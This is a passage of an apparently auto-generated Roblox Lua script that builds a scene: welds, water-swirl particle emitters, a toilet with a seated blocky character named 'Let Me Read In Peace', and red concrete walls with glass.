Weld947.C1 = CFrame.new(0.900039673, -0.100000978, -0.299980164, 0.999999881, 0, 0, 0, 0, 1, 0, -0.999999881, 0)
Weld947.Part0 = Part945
Weld947.Part1 = Seat930
Weld947.part1 = Seat930
Weld948.Parent = Part945
Weld948.C0 = CFrame.new(0, 0.100000001, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld948.C1 = CFrame.new(0.900024414, -0.100000978, -0.299987793, 1, 0, 0, 0, 0, 1, 0, -1, 0)
Weld948.Part0 = Part945
Weld948.Part1 = Seat930
Weld948.part1 = Seat930
Weld949.Parent = Part945
Weld949.C0 = CFrame.new(0, 0.100000001, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld949.C1 = CFrame.new(0.900054932, -0.100000978, -0.299995422, 0.99999994, 0, 0, 0, 0, 1, 0, -0.99999994, 0)
Weld949.Part0 = Part945
Weld949.Part1 = Seat930
Weld949.part1 = Seat930
Weld950.Parent = Part945
Weld950.C0 = CFrame.new(0, 0.100000001, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld950.C1 = CFrame.new(0.900024414, -0.100000978, -0.299987793, 1, 0, 0, 0, 0, 1, 0, -1, 0)
Weld950.Part0 = Part945
Weld950.Part1 = Seat930
Weld950.part1 = Seat930
Part951.Name = "WaterSwirl"
Part951.Parent = Model920
Part951.CFrame = CFrame.new(227.589584, 1.50000298, -135.07608, -0.258819014, 0, -0.965925813, 0, 1, -0, 0.965925813, 0, -0.258819014)
Part951.Orientation = Vector3.new(0, -105, 0)
Part951.Position = Vector3.new(227.589584, 1.50000298, -135.07608)
Part951.Rotation = Vector3.new(180, -75, -180)
Part951.Transparency = 1
Part951.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
Part951.Anchored = true
Part951.BottomSurface = Enum.SurfaceType.Smooth
Part951.CanCollide = false
Part951.TopSurface = Enum.SurfaceType.Smooth
Part951.FormFactor = Enum.FormFactor.Custom
Part951.formFactor = Enum.FormFactor.Custom
ParticleEmitter952.Parent = Part951
ParticleEmitter952.Speed = NumberRange.new(-2, -2)
ParticleEmitter952.Color = ColorSequence.new(Color3.new(0.909804, 1, 0.941177),Color3.new(0.792157, 0.913726, 1))
ParticleEmitter952.Texture = "rbxasset://textures/particles/smoke_main.dds"
ParticleEmitter952.Transparency = NumberSequence.new(0.89999997615814,0.89999997615814)
ParticleEmitter952.Size = NumberSequence.new(0.20000000298023,0.20000000298023)
ParticleEmitter952.Acceleration = Vector3.new(20, 0, 10)
ParticleEmitter952.Lifetime = NumberRange.new(0.30000001192093, 0.30000001192093)
ParticleEmitter952.LockedToPart = true
ParticleEmitter952.Rate = 0
Part953.Name = "WaterSwirl"
Part953.Parent = Model920
Part953.CFrame = CFrame.new(227.265076, 1.50000298, -133.092468, 0.258819014, 0, 0.965925813, 0, 1, 0, -0.965925813, 0, 0.258819014)
Part953.Orientation = Vector3.new(0, 75, 0)
Part953.Position = Vector3.new(227.265076, 1.50000298, -133.092468)
Part953.Rotation = Vector3.new(0, 75, 0)
Part953.Transparency = 1
Part953.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
Part953.Anchored = true
Part953.BottomSurface = Enum.SurfaceType.Smooth
Part953.CanCollide = false
Part953.TopSurface = Enum.SurfaceType.Smooth
Part953.FormFactor = Enum.FormFactor.Custom
Part953.formFactor = Enum.FormFactor.Custom
ParticleEmitter954.Parent = Part953
ParticleEmitter954.Speed = NumberRange.new(-2, -2)
ParticleEmitter954.Color = ColorSequence.new(Color3.new(0.909804, 1, 0.941177),Color3.new(0.792157, 0.913726, 1))
ParticleEmitter954.Texture = "rbxasset://textures/particles/smoke_main.dds"
ParticleEmitter954.Transparency = NumberSequence.new(0.89999997615814,0.89999997615814)
ParticleEmitter954.Size = NumberSequence.new(0.20000000298023,0.20000000298023)
ParticleEmitter954.Acceleration = Vector3.new(20, 0, 10)
ParticleEmitter954.Lifetime = NumberRange.new(0.30000001192093, 0.30000001192093)
ParticleEmitter954.LockedToPart = true
ParticleEmitter954.Rate = 0
Part955.Name = "WaterSwirl"
Part955.Parent = Model920
Part955.CFrame = CFrame.new(227.712006, 1.50000298, -133.021759, -0.258819073, 0, 0.965925694, 0, 1, 0, -0.965925694, 0, -0.258819073)
Part955.Orientation = Vector3.new(0, 105, 0)
Part955.Position = Vector3.new(227.712006, 1.50000298, -133.021759)
Part955.Rotation = Vector3.new(-180, 75, -180)
Part955.Transparency = 1
Part955.Size = Vector3.new(0.200000003, 0.200000003, 0.400000006)
Part955.Anchored = true
Part955.BottomSurface = Enum.SurfaceType.Smooth
Part955.CanCollide = false
Part955.TopSurface = Enum.SurfaceType.Smooth
Part955.FormFactor = Enum.FormFactor.Custom
Part955.formFactor = Enum.FormFactor.Custom
ParticleEmitter956.Parent = Part955
ParticleEmitter956.Speed = NumberRange.new(-2, -2)
ParticleEmitter956.Color = ColorSequence.new(Color3.new(0.909804, 1, 0.941177),Color3.new(0.792157, 0.913726, 1))
ParticleEmitter956.Texture = "rbxasset://textures/particles/smoke_main.dds"
ParticleEmitter956.Transparency = NumberSequence.new(0.89999997615814,0.89999997615814)
ParticleEmitter956.Size = NumberSequence.new(0.20000000298023,0.20000000298023)
ParticleEmitter956.Acceleration = Vector3.new(20, 0, 10)
ParticleEmitter956.Lifetime = NumberRange.new(0.30000001192093, 0.30000001192093)
ParticleEmitter956.LockedToPart = true
ParticleEmitter956.Rate = 0
Part957.Name = "WaterSwirl"
Part957.Parent = Model920
Part957.CFrame = CFrame.new(227.14267, 1.50000298, -135.14679, 0.258819073, 0, -0.965925694, 0, 1, -0, 0.965925694, 0, 0.258819073)
Part957.Orientation = Vector3.new(0, -75, 0)
Part957.Position = Vector3.new(227.14267, 1.50000298, -135.14679)
Part957.Rotation = Vector3.new(0, -75, 0)
Part957.Transparency = 1
Part957.Size = Vector3.new(0.200000003, 0.200000003, 0.400000006)
Part957.Anchored = true
Part957.BottomSurface = Enum.SurfaceType.Smooth
Part957.CanCollide = false
Part957.TopSurface = Enum.SurfaceType.Smooth
Part957.FormFactor = Enum.FormFactor.Custom
Part957.formFactor = Enum.FormFactor.Custom
ParticleEmitter958.Parent = Part957
ParticleEmitter958.Speed = NumberRange.new(-2, -2)
ParticleEmitter958.Color = ColorSequence.new(Color3.new(0.909804, 1, 0.941177),Color3.new(0.792157, 0.913726, 1))
ParticleEmitter958.Texture = "rbxasset://textures/particles/smoke_main.dds"
ParticleEmitter958.Transparency = NumberSequence.new(0.89999997615814,0.89999997615814)
ParticleEmitter958.Size = NumberSequence.new(0.20000000298023,0.20000000298023)
ParticleEmitter958.Acceleration = Vector3.new(20, 0, 10)
ParticleEmitter958.Lifetime = NumberRange.new(0.30000001192093, 0.30000001192093)
ParticleEmitter958.LockedToPart = true
ParticleEmitter958.Rate = 0
Part959.Name = "WaterSwirl"
Part959.Parent = Model920
Part959.CFrame = CFrame.new(226.649536, 1.50000298, -134.862106, 0.70710665, 0, -0.70710665, 0, 1, 0, 0.70710665, 0, 0.70710665)
Part959.Orientation = Vector3.new(0, -45, 0)
Part959.Position = Vector3.new(226.649536, 1.50000298, -134.862106)
Part959.Rotation = Vector3.new(0, -45, 0)
Part959.Transparency = 1
Part959.Size = Vector3.new(0.200000003, 0.200000003, 0.400000006)
Part959.Anchored = true
Part959.BottomSurface = Enum.SurfaceType.Smooth
Part959.CanCollide = false
Part959.TopSurface = Enum.SurfaceType.Smooth
Part959.FormFactor = Enum.FormFactor.Custom
Part959.formFactor = Enum.FormFactor.Custom
ParticleEmitter960.Parent = Part959
ParticleEmitter960.Speed = NumberRange.new(-2, -2)
ParticleEmitter960.Color = ColorSequence.new(Color3.new(0.909804, 1, 0.941177),Color3.new(0.792157, 0.913726, 1))
ParticleEmitter960.Texture = "rbxasset://textures/particles/smoke_main.dds"
ParticleEmitter960.Transparency = NumberSequence.new(0.89999997615814,0.89999997615814)
ParticleEmitter960.Size = NumberSequence.new(0.20000000298023,0.20000000298023)
ParticleEmitter960.Acceleration = Vector3.new(20, 0, 10)
ParticleEmitter960.Lifetime = NumberRange.new(0.30000001192093, 0.30000001192093)
ParticleEmitter960.LockedToPart = true
ParticleEmitter960.Rate = 0
Part961.Name = "WaterSwirl"
Part961.Parent = Model920
Part961.CFrame = CFrame.new(228.205109, 1.50000298, -133.306442, -0.70710665, 0, 0.70710665, 0, 1, 0, -0.70710665, 0, -0.70710665)
Part961.Orientation = Vector3.new(0, 135, 0)
Part961.Position = Vector3.new(228.205109, 1.50000298, -133.306442)
Part961.Rotation = Vector3.new(-180, 45, -180)
Part961.Transparency = 1
Part961.Size = Vector3.new(0.200000003, 0.200000003, 0.400000006)
Part961.Anchored = true
Part961.BottomSurface = Enum.SurfaceType.Smooth
Part961.CanCollide = false
Part961.TopSurface = Enum.SurfaceType.Smooth
Part961.FormFactor = Enum.FormFactor.Custom
Part961.formFactor = Enum.FormFactor.Custom
ParticleEmitter962.Parent = Part961
ParticleEmitter962.Speed = NumberRange.new(-2, -2)
ParticleEmitter962.Color = ColorSequence.new(Color3.new(0.909804, 1, 0.941177),Color3.new(0.792157, 0.913726, 1))
ParticleEmitter962.Texture = "rbxasset://textures/particles/smoke_main.dds"
ParticleEmitter962.Transparency = NumberSequence.new(0.89999997615814,0.89999997615814)
ParticleEmitter962.Size = NumberSequence.new(0.20000000298023,0.20000000298023)
ParticleEmitter962.Acceleration = Vector3.new(20, 0, 10)
ParticleEmitter962.Lifetime = NumberRange.new(0.30000001192093, 0.30000001192093)
ParticleEmitter962.LockedToPart = true
ParticleEmitter962.Rate = 0
Part963.Name = "WaterSwirl"
Part963.Parent = Model920
Part963.CFrame = CFrame.new(228.489838, 1.50000298, -133.799576, -0.965925634, 0, 0.258818924, 0, 1, 0, -0.258818924, 0, -0.965925634)
Part963.Orientation = Vector3.new(0, 165, 0)
Part963.Position = Vector3.new(228.489838, 1.50000298, -133.799576)
Part963.Rotation = Vector3.new(-180, 15, -180)
Part963.Transparency = 1
Part963.Size = Vector3.new(0.200000003, 0.200000003, 0.400000006)
Part963.Anchored = true
Part963.BottomSurface = Enum.SurfaceType.Smooth
Part963.CanCollide = false
Part963.TopSurface = Enum.SurfaceType.Smooth
Part963.FormFactor = Enum.FormFactor.Custom
Part963.formFactor = Enum.FormFactor.Custom
ParticleEmitter964.Parent = Part963
ParticleEmitter964.Speed = NumberRange.new(-2, -2)
ParticleEmitter964.Color = ColorSequence.new(Color3.new(0.909804, 1, 0.941177),Color3.new(0.792157, 0.913726, 1))
ParticleEmitter964.Texture = "rbxasset://textures/particles/smoke_main.dds"
ParticleEmitter964.Transparency = NumberSequence.new(0.89999997615814,0.89999997615814)
ParticleEmitter964.Size = NumberSequence.new(0.20000000298023,0.20000000298023)
ParticleEmitter964.Acceleration = Vector3.new(20, 0, 10)
ParticleEmitter964.Lifetime = NumberRange.new(0.30000001192093, 0.30000001192093)
ParticleEmitter964.LockedToPart = true
ParticleEmitter964.Rate = 0
Part965.Name = "WaterSwirl"
Part965.Parent = Model920
Part965.CFrame = CFrame.new(226.364822, 1.50000298, -134.368988, 0.965925634, 0, -0.258818924, 0, 1, 0, 0.258818924, 0, 0.965925634)
Part965.Orientation = Vector3.new(0, -15, 0)
Part965.Position = Vector3.new(226.364822, 1.50000298, -134.368988)
Part965.Rotation = Vector3.new(0, -15, 0)
Part965.Transparency = 1
Part965.Size = Vector3.new(0.200000003, 0.200000003, 0.400000006)
Part965.Anchored = true
Part965.BottomSurface = Enum.SurfaceType.Smooth
Part965.CanCollide = false
Part965.TopSurface = Enum.SurfaceType.Smooth
Part965.FormFactor = Enum.FormFactor.Custom
Part965.formFactor = Enum.FormFactor.Custom
ParticleEmitter966.Parent = Part965
ParticleEmitter966.Speed = NumberRange.new(-2, -2)
ParticleEmitter966.Color = ColorSequence.new(Color3.new(0.909804, 1, 0.941177),Color3.new(0.792157, 0.913726, 1))
ParticleEmitter966.Texture = "rbxasset://textures/particles/smoke_main.dds"
ParticleEmitter966.Transparency = NumberSequence.new(0.89999997615814,0.89999997615814)
ParticleEmitter966.Size = NumberSequence.new(0.20000000298023,0.20000000298023)
ParticleEmitter966.Acceleration = Vector3.new(20, 0, 10)
ParticleEmitter966.Lifetime = NumberRange.new(0.30000001192093, 0.30000001192093)
ParticleEmitter966.LockedToPart = true
ParticleEmitter966.Rate = 0
Part967.Name = "WaterSwirl"
Part967.Parent = Model920
Part967.CFrame = CFrame.new(228.419144, 1.50000298, -134.246475, -0.965925574, 0, -0.258819014, 0, 1, 0, 0.258819014, 0, -0.965925574)
Part967.Orientation = Vector3.new(0, -165, 0)
Part967.Position = Vector3.new(228.419144, 1.50000298, -134.246475)
Part967.Rotation = Vector3.new(-180, -15, -180)
Part967.Transparency = 1
Part967.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
Part967.Anchored = true
Part967.BottomSurface = Enum.SurfaceType.Smooth
Part967.CanCollide = false
Part967.TopSurface = Enum.SurfaceType.Smooth
Part967.FormFactor = Enum.FormFactor.Custom
Part967.formFactor = Enum.FormFactor.Custom
ParticleEmitter968.Parent = Part967
ParticleEmitter968.Speed = NumberRange.new(-2, -2)
ParticleEmitter968.Color = ColorSequence.new(Color3.new(0.909804, 1, 0.941177),Color3.new(0.792157, 0.913726, 1))
ParticleEmitter968.Texture = "rbxasset://textures/particles/smoke_main.dds"
ParticleEmitter968.Transparency = NumberSequence.new(0.89999997615814,0.89999997615814)
ParticleEmitter968.Size = NumberSequence.new(0.20000000298023,0.20000000298023)
ParticleEmitter968.Acceleration = Vector3.new(20, 0, 10)
ParticleEmitter968.Lifetime = NumberRange.new(0.30000001192093, 0.30000001192093)
ParticleEmitter968.LockedToPart = true
ParticleEmitter968.Rate = 0
Part969.Name = "WaterSwirl"
Part969.Parent = Model920
Part969.CFrame = CFrame.new(226.435532, 1.50000298, -133.922073, 0.965925574, 0, 0.258819014, 0, 1, 0, -0.258819014, 0, 0.965925574)
Part969.Orientation = Vector3.new(0, 15, 0)
Part969.Position = Vector3.new(226.435532, 1.50000298, -133.922073)
Part969.Rotation = Vector3.new(0, 15, 0)
Part969.Transparency = 1
Part969.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
Part969.Anchored = true
Part969.BottomSurface = Enum.SurfaceType.Smooth
Part969.CanCollide = false
Part969.TopSurface = Enum.SurfaceType.Smooth
Part969.FormFactor = Enum.FormFactor.Custom
Part969.formFactor = Enum.FormFactor.Custom
ParticleEmitter970.Parent = Part969
ParticleEmitter970.Speed = NumberRange.new(-2, -2)
ParticleEmitter970.Color = ColorSequence.new(Color3.new(0.909804, 1, 0.941177),Color3.new(0.792157, 0.913726, 1))
ParticleEmitter970.Texture = "rbxasset://textures/particles/smoke_main.dds"
ParticleEmitter970.Transparency = NumberSequence.new(0.89999997615814,0.89999997615814)
ParticleEmitter970.Size = NumberSequence.new(0.20000000298023,0.20000000298023)
ParticleEmitter970.Acceleration = Vector3.new(20, 0, 10)
ParticleEmitter970.Lifetime = NumberRange.new(0.30000001192093, 0.30000001192093)
ParticleEmitter970.LockedToPart = true
ParticleEmitter970.Rate = 0
Part971.Name = "WaterSwirl"
Part971.Parent = Model920
Part971.CFrame = CFrame.new(226.790909, 1.50000298, -133.447876, 0.707106769, 0, 0.707106769, 0, 1, 0, -0.707106769, 0, 0.707106769)
Part971.Orientation = Vector3.new(0, 45, 0)
Part971.Position = Vector3.new(226.790909, 1.50000298, -133.447876)
Part971.Rotation = Vector3.new(0, 45, 0)
Part971.Transparency = 1
Part971.Size = Vector3.new(0.200000003, 0.200000003, 0.400000006)
Part971.Anchored = true
Part971.BottomSurface = Enum.SurfaceType.Smooth
Part971.CanCollide = false
Part971.TopSurface = Enum.SurfaceType.Smooth
Part971.FormFactor = Enum.FormFactor.Custom
Part971.formFactor = Enum.FormFactor.Custom
ParticleEmitter972.Parent = Part971
ParticleEmitter972.Speed = NumberRange.new(-2, -2)
ParticleEmitter972.Color = ColorSequence.new(Color3.new(0.909804, 1, 0.941177),Color3.new(0.792157, 0.913726, 1))
ParticleEmitter972.Texture = "rbxasset://textures/particles/smoke_main.dds"
ParticleEmitter972.Transparency = NumberSequence.new(0.89999997615814,0.89999997615814)
ParticleEmitter972.Size = NumberSequence.new(0.20000000298023,0.20000000298023)
ParticleEmitter972.Acceleration = Vector3.new(20, 0, 10)
ParticleEmitter972.Lifetime = NumberRange.new(0.30000001192093, 0.30000001192093)
ParticleEmitter972.LockedToPart = true
ParticleEmitter972.Rate = 0
UnionOperation973.Name = "Lid"
UnionOperation973.Parent = Model920
UnionOperation973.CFrame = CFrame.new(228.700134, 3.1499989, -132.811462, 0.707106769, 0, 0.707106769, 0, 1, 0, -0.707106769, 0, 0.707106769)
UnionOperation973.Orientation = Vector3.new(0, 45, 0)
UnionOperation973.Position = Vector3.new(228.700134, 3.1499989, -132.811462)
UnionOperation973.Rotation = Vector3.new(0, 45, 0)
UnionOperation973.Color = Color3.new(0.898039, 0.894118, 0.87451)
UnionOperation973.Size = Vector3.new(2.20000601, 0.30000031, 1.00000167)
UnionOperation973.Anchored = true
UnionOperation973.BrickColor = BrickColor.new("Light stone grey")
UnionOperation973.Material = Enum.Material.SmoothPlastic
UnionOperation973.brickColor = BrickColor.new("Light stone grey")
UnionOperation973.UsePartColor = true
BoolValue974.Name = "ToiletUsed"
BoolValue974.Parent = Model920
Model975.Name = "Let Me Read In Peace"
Model975.Parent = Model919
Part976.Name = "Left Arm"
Part976.Parent = Model975
Part976.CFrame = CFrame.new(226.52829, 4.1090579, -132.935974, 0.772760153, 0.400474012, 0.492403626, 0.166364402, 0.620878816, -0.766049206, -0.612505794, 0.673891485, 0.413165987)
Part976.Orientation = Vector3.new(50, 50, 15)
Part976.Position = Vector3.new(226.52829, 4.1090579, -132.935974)
Part976.Rotation = Vector3.new(61.6599998, 29.5, -27.3899994)
Part976.Color = Color3.new(0.960784, 0.803922, 0.188235)
Part976.Size = Vector3.new(1, 2, 1)
Part976.BottomSurface = Enum.SurfaceType.Smooth
Part976.BrickColor = BrickColor.new("Bright yellow")
Part976.CanCollide = false
Part976.TopSurface = Enum.SurfaceType.Smooth
Part976.brickColor = BrickColor.new("Bright yellow")
Part976.FormFactor = Enum.FormFactor.Symmetric
Part976.formFactor = Enum.FormFactor.Symmetric
Part977.Name = "Right Leg"
Part977.Parent = Model975
Part977.CFrame = CFrame.new(227.73938, 2.19995904, -134.2108, 0.764021397, 0.631337583, 0.133019716, 0.0301533584, 0.171005115, -0.984808624, -0.644493341, 0.75642544, 0.111614093)
Part977.Orientation = Vector3.new(80, 50, 10)
Part977.Position = Vector3.new(227.73938, 2.19995904, -134.2108)
Part977.Rotation = Vector3.new(83.5299988, 7.63999987, -39.5699997)
Part977.Color = Color3.new(0.643137, 0.741176, 0.278431)
Part977.Size = Vector3.new(1, 2, 1)
Part977.BottomSurface = Enum.SurfaceType.Smooth
Part977.BrickColor = BrickColor.new("Br. yellowish green")
Part977.CanCollide = false
Part977.TopSurface = Enum.SurfaceType.Smooth
Part977.brickColor = BrickColor.new("Br. yellowish green")
Part977.FormFactor = Enum.FormFactor.Symmetric
Part977.formFactor = Enum.FormFactor.Symmetric
Part978.Name = "HumanoidRootPart"
Part978.Parent = Model975
Part978.CFrame = CFrame.new(227.417984, 4.19995785, -133.827774, 0.642778575, -0.133023694, 0.754414201, -3.04823828e-07, 0.984808028, 0.173648596, -0.766052186, -0.111617811, 0.633013248)
Part978.Orientation = Vector3.new(-10, 50, 0)
Part978.Position = Vector3.new(227.417984, 4.19995785, -133.827774)
Part978.Rotation = Vector3.new(-15.3400002, 48.9700012, 11.6899996)
Part978.Transparency = 1
Part978.Size = Vector3.new(2, 2, 1)
Part978.BottomSurface = Enum.SurfaceType.Smooth
Part978.TopSurface = Enum.SurfaceType.Smooth
Part978.FormFactor = Enum.FormFactor.Symmetric
Part978.formFactor = Enum.FormFactor.Symmetric
Part979.Name = "Torso"
Part979.Parent = Model975
Part979.CFrame = CFrame.new(227.877625, 3.7999599, -133.442108, 0.642781138, 0, 0.76604706, 0, 1, 0, -0.766049862, 0, 0.642783344)
Part979.Orientation = Vector3.new(0, 50, 0)
Part979.Position = Vector3.new(227.877625, 3.7999599, -133.442108)
Part979.Rotation = Vector3.new(0, 50, 0)
Part979.Color = Color3.new(0.129412, 0.329412, 0.72549)
Part979.Size = Vector3.new(2, 2, 1)
Part979.BottomSurface = Enum.SurfaceType.Smooth
Part979.BrickColor = BrickColor.new("Deep blue")
Part979.CanCollide = false
Part979.TopSurface = Enum.SurfaceType.Smooth
Part979.brickColor = BrickColor.new("Deep blue")
Part979.FormFactor = Enum.FormFactor.Symmetric
Part979.formFactor = Enum.FormFactor.Symmetric
Humanoid980.Parent = Model975
Humanoid980.LeftLeg = Part981
Humanoid980.NameOcclusion = Enum.NameOcclusion.NoOcclusion
Humanoid980.RightLeg = Part977
Humanoid980.Torso = Part978
Part981.Name = "Left Leg"
Part981.Parent = Model975
Part981.CFrame = CFrame.new(227.096588, 2.19995999, -133.444748, 0.500498474, 0.863162577, 0.0667461827, -0.0151304482, 0.0858063996, -0.996198654, -0.865606844, 0.497585118, 0.0560061596)
Part981.Orientation = Vector3.new(85, 50, -10)
Part981.Position = Vector3.new(227.096588, 2.19995999, -133.444748)
Part981.Rotation = Vector3.new(86.7799988, 3.82999992, -59.8899994)
Part981.Color = Color3.new(0.643137, 0.741176, 0.278431)
Part981.Size = Vector3.new(1, 2, 1)
Part981.BottomSurface = Enum.SurfaceType.Smooth
Part981.BrickColor = BrickColor.new("Br. yellowish green")
Part981.CanCollide = false
Part981.TopSurface = Enum.SurfaceType.Smooth
Part981.brickColor = BrickColor.new("Br. yellowish green")
Part981.FormFactor = Enum.FormFactor.Symmetric
Part981.formFactor = Enum.FormFactor.Symmetric
Part982.Name = "Right Arm"
Part982.Parent = Model975
Part982.CFrame = CFrame.new(228.17215, 4.08524704, -134.826065, 0.554039955, 0.791243672, -0.258791089, -0.819149613, 0.573579609, -2.85867941e-06, 0.148434982, 0.211990148, 0.965933323)
Part982.Orientation = Vector3.new(0, -15, -55)
Part982.Position = Vector3.new(228.17215, 4.08524704, -134.826065)
Part982.Rotation = Vector3.new(0, -15, -55)
Part982.Color = Color3.new(0.960784, 0.803922, 0.188235)
Part982.Size = Vector3.new(1, 2, 1)
Part982.BottomSurface = Enum.SurfaceType.Smooth
Part982.BrickColor = BrickColor.new("Bright yellow")
Part982.CanCollide = false
Part982.TopSurface = Enum.SurfaceType.Smooth
Part982.brickColor = BrickColor.new("Bright yellow")
Part982.FormFactor = Enum.FormFactor.Symmetric
Part982.formFactor = Enum.FormFactor.Symmetric
Part983.Name = "Head"
Part983.Parent = Model975
Part983.CFrame = CFrame.new(227.877625, 5.29996014, -133.442108, 0.642781734, -0.198270977, 0.739953756, -2.96882234e-07, 0.965935051, 0.258821249, -0.766055584, -0.166365385, 0.620879412)
Part983.Orientation = Vector3.new(-15, 50, 0)
Part983.Position = Vector3.new(227.877625, 5.29996014, -133.442108)
Part983.Rotation = Vector3.new(-22.6299992, 47.7299995, 17.1399994)
Part983.Color = Color3.new(0.960784, 0.803922, 0.188235)
Part983.Size = Vector3.new(2, 1, 1)
Part983.BottomSurface = Enum.SurfaceType.Smooth
Part983.BrickColor = BrickColor.new("Bright yellow")
Part983.TopSurface = Enum.SurfaceType.Smooth
Part983.brickColor = BrickColor.new("Bright yellow")
Part983.FormFactor = Enum.FormFactor.Symmetric
Part983.formFactor = Enum.FormFactor.Symmetric
Decal984.Name = "Face"
Decal984.Parent = Part983
Decal984.Texture = "rbxasset://textures/face.png"
SpecialMesh985.Parent = Part983
SpecialMesh985.Scale = Vector3.new(1.25, 1.25, 1.25)
UnionOperation986.Parent = Model975
UnionOperation986.CFrame = CFrame.new(226.245941, 3.80646205, -134.657852, 0.500497699, 0.0841549784, 0.86163795, -0.015130356, 0.995962441, -0.0884855762, -0.865605593, 0.0312499087, 0.499750227)
UnionOperation986.Orientation = Vector3.new(5.07999992, 59.8899994, -0.870000005)
UnionOperation986.Position = Vector3.new(226.245941, 3.80646205, -134.657852)
UnionOperation986.Rotation = Vector3.new(10.04, 59.5, -9.53999996)
UnionOperation986.Color = Color3.new(0.803922, 0.803922, 0.803922)
UnionOperation986.Size = Vector3.new(1.4000001, 0.050210081, 2)
UnionOperation986.Anchored = true
UnionOperation986.BrickColor = BrickColor.new("Mid gray")
UnionOperation986.brickColor = BrickColor.new("Mid gray")
Decal987.Parent = UnionOperation986
Decal987.Texture = "http://www.roblox.com/asset/?id=292746467"
Decal987.Face = Enum.NormalId.Top
Humanoid988.Parent = Model975
Humanoid988.LeftLeg = Part981
Humanoid988.RightLeg = Part977
Humanoid988.Torso = Part978
Model989.Parent = Model319
Part990.Parent = Model989
Part990.CFrame = CFrame.new(90.1302719, 22.4997559, 75.5762024, -0.965925932, 4.99597846e-12, -0.258819133, 3.49965543e-12, 1, 6.24208844e-12, 0.258819133, 5.12361637e-12, -0.965925932)
Part990.Orientation = Vector3.new(0, -165, 0)
Part990.Position = Vector3.new(90.1302719, 22.4997559, 75.5762024)
Part990.Rotation = Vector3.new(-180, -15, -180)
Part990.Color = Color3.new(1, 0, 0)
Part990.Size = Vector3.new(62, 43, 2)
Part990.Anchored = true
Part990.BrickColor = BrickColor.new("Really red")
Part990.Material = Enum.Material.Concrete
Part990.brickColor = BrickColor.new("Really red")
Part991.Parent = Model989
Part991.CFrame = CFrame.new(116.658508, 31.9996529, 66.3974228, 0.965925813, 4.99597759e-12, 0.258819163, -3.49965499e-12, 1, -6.24208758e-12, -0.258819163, 5.12361594e-12, 0.965925813)
Part991.Orientation = Vector3.new(0, 15, 0)
Part991.Position = Vector3.new(116.658508, 31.9996529, 66.3974228)
Part991.Rotation = Vector3.new(0, 15, 0)
Part991.Color = Color3.new(1, 1, 0)
Part991.Size = Vector3.new(4, 2, 2)
Part991.Anchored = true
Part991.BrickColor = BrickColor.new("New Yeller")
Part991.brickColor = BrickColor.new("New Yeller")
Part992.Parent = Model989
Part992.CFrame = CFrame.new(70.3770447, 22.4997559, 154.074036, -0.866024494, 4.98724716e-12, 0.499999434, 6.83671435e-12, 0.99999249, 1.8279757e-12, -0.499999434, 5.07803001e-12, -0.866024494)
Part992.Orientation = Vector3.new(0, 150, 0)
Part992.Position = Vector3.new(70.3770447, 22.4997559, 154.074036)
Part992.Rotation = Vector3.new(-180, 30, -180)
Part992.Color = Color3.new(1, 0, 0)
Part992.Size = Vector3.new(84, 43, 2)
Part992.Anchored = true
Part992.BrickColor = BrickColor.new("Really red")
Part992.Material = Enum.Material.Concrete
Part992.brickColor = BrickColor.new("Really red")
Part993.Parent = Model989
Part993.CFrame = CFrame.new(46.63797, 22.4997559, 109.191406, 0.49999997, 4.99703577e-12, 0.866025448, 1.86603532e-12, 1, -6.84743581e-12, -0.866025448, 5.0397516e-12, 0.49999997)
Part993.Orientation = Vector3.new(0, 60, 0)
Part993.Position = Vector3.new(46.63797, 22.4997559, 109.191406)
Part993.Rotation = Vector3.new(0, 60, 0)
Part993.Color = Color3.new(1, 0, 0)
Part993.Size = Vector3.new(56, 43, 2)
Part993.Anchored = true
Part993.BrickColor = BrickColor.new("Really red")
Part993.Material = Enum.Material.Concrete
Part993.brickColor = BrickColor.new("Really red")
Part994.Parent = Model989
Part994.CFrame = CFrame.new(83.7609787, 0.500001907, 128.892334, 0.49999997, 4.99703577e-12, 0.866025448, 1.86603532e-12, 1, -6.84743581e-12, -0.866025448, 5.0397516e-12, 0.49999997)
Part994.Orientation = Vector3.new(0, 60, 0)
Part994.Position = Vector3.new(83.7609787, 0.500001907, 128.892334)
Part994.Rotation = Vector3.new(0, 60, 0)
Part994.Color = Color3.new(1, 0, 0)
Part994.Size = Vector3.new(59, 1, 86)
Part994.Anchored = true
Part994.BrickColor = BrickColor.new("Really red")
Part994.Material = Enum.Material.Concrete
Part994.brickColor = BrickColor.new("Really red")
Snap995.Parent = Part994
Snap995.C0 = CFrame.new(0, 0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Snap995.C1 = CFrame.new(-0.999992371, -21.499754, -41.999939, -1, 0, 0, 0, -2.16840434e-19, 1, 0, 1, -2.16840434e-19)
Snap995.Part0 = Part994
Snap995.Part1 = Part1003
Snap995.part1 = Part1003
Snap996.Parent = Part994
Snap996.C0 = CFrame.new(0, 0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Snap996.C1 = CFrame.new(1.00003052, -21.4995918, 28.4999313, -2.98023224e-08, -0.999998927, -1.0713869e-14, 3.8058532e-14, 1.07134353e-14, 0.99999249, -0.999998927, 2.98023224e-08, -3.80576647e-14)
Snap996.Part0 = Part994
Snap996.Part1 = Part992
Snap996.part1 = Part992
Snap997.Parent = Part994
Snap997.C0 = CFrame.new(0, 0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Snap997.C1 = CFrame.new(1.5, -21.499754, 41.9999237, -1, 0, 0, 0, -2.16840434e-19, 1, 0, 1, -2.16840434e-19)
Snap997.Part0 = Part994
Snap997.Part1 = Part993
Snap997.part1 = Part993
Part998.Name = "Glass 2stds Thick"
Part998.Parent = Model989
Part998.CFrame = CFrame.new(88.2708664, 24.4997406, 73.8262482, 0.965925932, -5.00534119e-12, -0.258819193, -3.50568576e-12, -1, 6.25576023e-12, -0.258819193, -5.13526157e-12, -0.965925932)
Part998.Orientation = Vector3.new(0, -165, -180)
Part998.Position = Vector3.new(88.2708664, 24.4997406, 73.8262482)
Part998.Rotation = Vector3.new(-180, -15, 0)
Part998.Color = Color3.new(0.972549, 0.972549, 0.972549)
Part998.Transparency = 0.54900002479553
Part998.Size = Vector3.new(46, 29, 2)
Part998.Anchored = true
